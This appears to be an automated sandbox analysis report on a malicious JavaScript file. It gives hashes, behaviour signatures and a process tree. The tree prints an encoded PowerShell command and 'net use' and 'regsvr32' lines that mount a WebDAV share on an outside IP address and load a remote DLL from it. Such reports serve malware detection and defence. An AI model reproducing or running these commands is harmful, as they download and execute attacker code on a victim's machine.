Analysis
-
max time kernel
75s -
max time network
19s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
14-11-2024 02:44
Static task
static1
Behavioral task
behavioral1
Sample
85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js
Resource
win10v2004-20241007-en
General
-
Target
85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js
-
Size
1.8MB
-
MD5
fea533f916ddb9f77afa08d87bf652f0
-
SHA1
f50fb69990b11ae1c73c068337dc7d82b152492c
-
SHA256
85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013
-
SHA512
a97954e95b3b3a2ca63b9cac937e6f1c42527d00c2b77cff06792374175fe42e0f80d5a3ab39aac4954c694d700f79aa34107580c933ed9b163e88d7e979e323
-
SSDEEP
12288:UzMxhNYrLmuoup3oZ4z/CzSzCxAM4qDdZDBaEQrlLaOr65cap3a:Um2nu94TCesA7HJ
Malware Config
Signatures
-
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid Process 2144 timeout.exe -
Runs net.exe
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
regsvr32.exepid Process 2496 regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid Process 3000 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 3000 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
wscript.exepowershell.execmd.execmd.exedescription pid Process procid_target PID 2116 wrote to memory of 3000 2116 wscript.exe 30 PID 2116 wrote to memory of 3000 2116 wscript.exe 30 PID 2116 wrote to memory of 3000 2116 wscript.exe 30 PID 3000 wrote to memory of 2144 3000 powershell.exe 32 PID 3000 wrote to memory of 2144 3000 powershell.exe 32 PID 3000 wrote to memory of 2144 3000 powershell.exe 32 PID 3000 wrote to memory of 2312 3000 powershell.exe 33 PID 3000 wrote to memory of 2312 3000 powershell.exe 33 PID 3000 wrote to memory of 2312 3000 powershell.exe 33 PID 2312 wrote to memory of 2952 2312 cmd.exe 34 PID 2312 wrote to memory of 2952 2312 cmd.exe 34 PID 2312 wrote to memory of 2952 2312 cmd.exe 34 PID 3000 wrote to memory of 3064 3000 powershell.exe 35 PID 3000 wrote to memory of 3064 3000 powershell.exe 35 PID 3000 wrote to memory of 3064 3000 powershell.exe 35 PID 3064 wrote to memory of 2496 3064 cmd.exe 36 PID 3064 wrote to memory of 2496 3064 cmd.exe 36 PID 3064 wrote to memory of 2496 3064 cmd.exe 36 PID 3064 wrote to memory of 2496 3064 cmd.exe 36 PID 3064 wrote to memory of 2496 3064 cmd.exe 36
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js1⤵
- Suspicious use of WriteProcessMemory
PID:2116 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA1ADMANQA0ADcAMwA3ADcAMwAwADAAOAA0AC4AZABsAGwA2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Windows\system32\timeout.exe"C:\Windows\system32\timeout.exe" 13⤵
- Delays execution with timeout.exe
PID:2144
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\3⤵
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\system32\net.exenet use \\94.159.113.79@8888\davwwwroot\4⤵PID:2952
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\5354737730084.dll3⤵
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\system32\regsvr32.exeregsvr32 /s \\94.159.113.79@8888\davwwwroot\5354737730084.dll4⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2496
-
-
-